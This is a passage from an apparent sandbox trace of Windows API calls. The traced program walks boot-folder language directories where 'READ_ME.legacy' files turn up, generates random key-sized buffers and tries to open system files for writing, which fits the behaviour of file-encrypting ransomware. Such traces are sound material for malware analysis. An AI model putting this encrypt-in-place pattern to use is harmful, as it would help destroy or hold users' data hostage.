Flags=0x0, Size=0x40) returned 0x5781d0 [0109.259] GetLastError () returned 0x5 [0109.259] SetLastError (dwErrCode=0x5) [0109.259] GetLastError () returned 0x5 [0109.259] SetLastError (dwErrCode=0x5) [0109.259] GetLastError () returned 0x5 [0109.260] SetLastError (dwErrCode=0x5) [0109.260] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d7f8 [0109.260] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d7f8 | out: hHeap=0x520000) returned 1 [0109.260] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5785c0 [0109.260] FindNextFileW (in: hFindFile=0x5a0368, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5ade2b, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39fe447, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0109.260] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5781d0 | out: hHeap=0x520000) returned 1 [0109.260] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578728 [0109.260] GetLastError () returned 0x5 [0109.260] SetLastError (dwErrCode=0x5) [0109.260] GetLastError () returned 0x5 [0109.260] SetLastError (dwErrCode=0x5) [0109.260] GetLastError () returned 0x5 [0109.260] SetLastError (dwErrCode=0x5) [0109.260] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d730 [0109.260] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d730 | out: hHeap=0x520000) returned 1 [0109.260] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578578 [0109.260] FindNextFileW (in: hFindFile=0x5a0368, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1b63b4a, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xc1b63b4a, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xc1b63b4a, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0109.260] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578728 | out: hHeap=0x520000) returned 1 [0109.260] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5783c8 [0109.260] GetLastError () returned 0x5 [0109.260] SetLastError (dwErrCode=0x5) [0109.261] GetLastError () returned 0x5 [0109.261] SetLastError (dwErrCode=0x5) [0109.261] GetLastError () returned 0x5 [0109.261] SetLastError (dwErrCode=0x5) [0109.261] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d870 [0109.261] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d870 | out: hHeap=0x520000) returned 1 [0109.261] FindNextFileW (in: hFindFile=0x5a0368, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1b63b4a, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xc1b63b4a, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xc1b63b4a, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0109.261] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5784a0 [0109.261] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x581410 [0109.261] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c1288 [0109.261] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x581410 | out: pbBuffer=0x581410) returned 1 [0109.261] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c1288 | out: pbBuffer=0x5c1288) returned 1 [0109.261] SetFileAttributesW (lpFileName="\\Boot\\fr-FR\\memtest.exe.mui", dwFileAttributes=0x80) returned 0 [0109.261] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578890 [0109.261] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x550e18 [0109.261] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578890 | out: hHeap=0x520000) returned 1 [0109.261] CreateFileW (lpFileName="\\Boot\\fr-FR\\memtest.exe.mui" (normalized: "c:\\boot\\fr-fr\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0109.262] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x550e18 | out: hHeap=0x520000) returned 1 [0109.262] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5784a0 | out: hHeap=0x520000) returned 1 [0109.262] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578578 | out: hHeap=0x520000) returned 1 [0109.262] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5784a0 [0109.262] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x580498 [0109.262] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c12d8 [0109.262] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x580498 | out: pbBuffer=0x580498) returned 1 [0109.262] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c12d8 | out: pbBuffer=0x5c12d8) returned 1 [0109.262] SetFileAttributesW (lpFileName="\\Boot\\fr-FR\\bootmgr.exe.mui", dwFileAttributes=0x80) returned 0 [0109.262] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578728 [0109.262] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x550e18 [0109.263] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578728 | out: hHeap=0x520000) returned 1 [0109.263] CreateFileW (lpFileName="\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0109.264] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x550e18 | out: hHeap=0x520000) returned 1 [0109.264] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5784a0 | out: hHeap=0x520000) returned 1 [0109.264] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5785c0 | out: hHeap=0x520000) returned 1 [0109.264] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d780 [0109.264] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d758 | out: hHeap=0x520000) returned 1 [0109.264] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571ba8 | out: hHeap=0x520000) returned 1 [0109.264] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563e38 | out: hHeap=0x520000) returned 1 [0109.264] FindFirstFileW (in: lpFileName="\\Boot\\hr-HR\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc1b63b4a, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x5a0528 [0109.264] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5783c8 | out: hHeap=0x520000) returned 1 [0109.264] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578920 [0109.264] GetLastError () returned 0x5 [0109.264] SetLastError (dwErrCode=0x5) [0109.265] GetLastError () returned 0x5 [0109.265] SetLastError (dwErrCode=0x5) [0109.265] GetLastError () returned 0x5 [0109.265] SetLastError (dwErrCode=0x5) [0109.265] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566ee8 [0109.265] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d818 [0109.265] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d818 | out: hHeap=0x520000) returned 1 [0109.265] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d848 [0109.265] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5a0768 [0109.265] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a0768 | out: hHeap=0x520000) returned 1 [0109.265] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e200d8 [0109.265] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e200d8 | out: hHeap=0x520000) returned 1 [0109.265] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d848 | out: hHeap=0x520000) returned 1 [0109.265] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566ee8 | out: hHeap=0x520000) returned 1 [0109.265] FindNextFileW (in: hFindFile=0x5a0528, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc1b63b4a, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0109.265] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578920 | out: hHeap=0x520000) returned 1 [0109.266] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578140 [0109.266] GetLastError () returned 0x5 [0109.266] SetLastError (dwErrCode=0x5) [0109.266] GetLastError () returned 0x5 [0109.266] SetLastError (dwErrCode=0x5) [0109.266] GetLastError () returned 0x5 [0109.266] SetLastError (dwErrCode=0x5) [0109.266] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566c80 [0109.266] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d240 [0109.266] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d240 | out: hHeap=0x520000) returned 1 [0109.266] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d848 [0109.266] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5a05a8 [0109.266] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a05a8 | out: hHeap=0x520000) returned 1 [0109.266] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e202d0 [0109.266] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e202d0 | out: hHeap=0x520000) returned 1 [0109.266] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d848 | out: hHeap=0x520000) returned 1 [0109.266] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566c80 | out: hHeap=0x520000) returned 1 [0109.266] FindNextFileW (in: hFindFile=0x5a0528, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0109.267] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578140 | out: hHeap=0x520000) returned 1 [0109.267] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5785c0 [0109.267] GetLastError () returned 0x5 [0109.267] SetLastError (dwErrCode=0x5) [0109.267] GetLastError () returned 0x5 [0109.267] SetLastError (dwErrCode=0x5) [0109.267] GetLastError () returned 0x5 [0109.267] SetLastError (dwErrCode=0x5) [0109.267] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d7d0 [0109.267] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d7d0 | out: hHeap=0x520000) returned 1 [0109.267] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5781d0 [0109.267] FindNextFileW (in: hFindFile=0x5a0528, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1b63b4a, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xc1b63b4a, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xc1b89619, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0109.267] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5785c0 | out: hHeap=0x520000) returned 1 [0109.267] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578218 [0109.267] GetLastError () returned 0x5 [0109.267] SetLastError (dwErrCode=0x5) [0109.267] GetLastError () returned 0x5 [0109.267] SetLastError (dwErrCode=0x5) [0109.267] GetLastError () returned 0x5 [0109.267] SetLastError (dwErrCode=0x5) [0109.267] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d7a8 [0109.267] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d7a8 | out: hHeap=0x520000) returned 1 [0109.267] FindNextFileW (in: hFindFile=0x5a0528, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1b63b4a, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xc1b63b4a, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xc1b89619, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0109.267] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578920 [0109.268] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5805a0 [0109.268] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c11f8 [0109.268] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5805a0 | out: pbBuffer=0x5805a0) returned 1 [0109.268] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c11f8 | out: pbBuffer=0x5c11f8) returned 1 [0109.268] SetFileAttributesW (lpFileName="\\Boot\\hr-HR\\bootmgr.exe.mui", dwFileAttributes=0x80) returned 0 [0109.268] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578260 [0109.268] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x550e18 [0109.268] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578260 | out: hHeap=0x520000) returned 1 [0109.268] CreateFileW (lpFileName="\\Boot\\hr-HR\\bootmgr.exe.mui" (normalized: "c:\\boot\\hr-hr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0109.268] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x550e18 | out: hHeap=0x520000) returned 1 [0109.268] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578920 | out: hHeap=0x520000) returned 1 [0109.268] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5781d0 | out: hHeap=0x520000) returned 1 [0109.268] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d910 [0109.268] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d780 | out: hHeap=0x520000) returned 1 [0109.268] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563ff0 | out: hHeap=0x520000) returned 1 [0109.268] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563f28 | out: hHeap=0x520000) returned 1 [0109.268] FindFirstFileW (in: lpFileName="\\Boot\\hu-HU\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010c5ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc1b89619, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x5a0168 [0109.269] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578218 | out: hHeap=0x520000) returned 1 [0109.269] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5782a8 [0109.269] GetLastError () returned 0x5 [0109.269] SetLastError (dwErrCode=0x5) [0109.269] GetLastError () returned 0x5 [0109.269] SetLastError (dwErrCode=0x5) [0109.269] GetLastError () returned 0x5 [0109.269] SetLastError (dwErrCode=0x5) [0109.269] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566cf0 [0109.269] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d190 [0109.269] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d190 | out: hHeap=0x520000) returned 1 [0109.269] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d6e0 [0109.269] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5a0328 [0109.269] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a0328 | out: hHeap=0x520000) returned 1 [0109.269] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20090 [0109.269] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20090 | out: hHeap=0x520000) returned 1 [0109.269] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d6e0 | out: hHeap=0x520000) returned 1 [0109.269] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566cf0 | out: hHeap=0x520000) returned 1 [0109.269] FindNextFileW (in: hFindFile=0x5a0168, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010c5ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc1b89619, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0109.269] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5782a8 | out: hHeap=0x520000) returned 1 [0109.269] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578848 [0109.270] GetLastError () returned 0x5 [0109.270] SetLastError (dwErrCode=0x5) [0109.270] GetLastError () returned 0x5 [0109.270] SetLastError (dwErrCode=0x5) [0109.270] GetLastError () returned 0x5 [0109.270] SetLastError (dwErrCode=0x5) [0109.270] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566f58 [0109.270] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56da28 [0109.270] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56da28 | out: hHeap=0x520000) returned 1 [0109.270] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d8e8 [0109.270] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5a02a8 [0109.270] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a02a8 | out: hHeap=0x520000) returned 1 [0109.270] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20150 [0109.270] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20150 | out: hHeap=0x520000) returned 1 [0109.270] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d8e8 | out: hHeap=0x520000) returned 1 [0109.270] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566f58 | out: hHeap=0x520000) returned 1 [0109.270] FindNextFileW (in: hFindFile=0x5a0168, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13360, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0109.270] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578848 | out: hHeap=0x520000) returned 1 [0109.270] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5782a8 [0109.270] GetLastError () returned 0x5 [0109.270] SetLastError (dwErrCode=0x5) [0109.270] GetLastError () returned 0x5 [0109.270] SetLastError (dwErrCode=0x5) [0109.270] GetLastError () returned 0x5 [0109.270] SetLastError (dwErrCode=0x5) [0109.270] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d8c0 [0109.271] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d8c0 | out: hHeap=0x520000) returned 1 [0109.271] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578260 [0109.271] FindNextFileW (in: hFindFile=0x5a0168, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5c171b, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39d81d8, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb398, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0109.271] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5782a8 | out: hHeap=0x520000) returned 1 [0109.271] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578608 [0109.271] GetLastError () returned 0x5 [0109.271] SetLastError (dwErrCode=0x5) [0109.271] GetLastError () returned 0x5 [0109.271] SetLastError (dwErrCode=0x5) [0109.271] GetLastError () returned 0x5 [0109.271] SetLastError (dwErrCode=0x5) [0109.271] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d848 [0109.271] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d848 | out: hHeap=0x520000) returned 1 [0109.271] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5787b8 [0109.271] FindNextFileW (in: hFindFile=0x5a0168, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1b89619, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xc1b89619, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xc1b89619, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0109.271] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578608 | out: hHeap=0x520000) returned 1 [0109.271] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5784a0 [0109.271] GetLastError () returned 0x5 [0109.271] SetLastError (dwErrCode=0x5) [0109.271] GetLastError () returned 0x5 [0109.271] SetLastError (dwErrCode=0x5) [0109.271] GetLastError () returned 0x5 [0109.271] SetLastError (dwErrCode=0x5) [0109.271] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d6b8 [0109.271] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d6b8 | out: hHeap=0x520000) returned 1 [0109.271] FindNextFileW (in: hFindFile=0x5a0168, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1b89619, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xc1b89619, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xc1b89619, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0109.272] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578728 [0109.272] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x581308 [0109.272] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c1228 [0109.272] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x581308 | out: pbBuffer=0x581308) returned 1 [0109.272] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c1228 | out: pbBuffer=0x5c1228) returned 1 [0109.272] SetFileAttributesW (lpFileName="\\Boot\\hu-HU\\memtest.exe.mui", dwFileAttributes=0x80) returned 0 [0109.272] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578650 [0109.272] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x550e18 [0109.272] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578650 | out: hHeap=0x520000) returned 1 [0109.272] CreateFileW (lpFileName="\\Boot\\hu-HU\\memtest.exe.mui" (normalized: "c:\\boot\\hu-hu\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0109.272] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x550e18 | out: hHeap=0x520000) returned 1 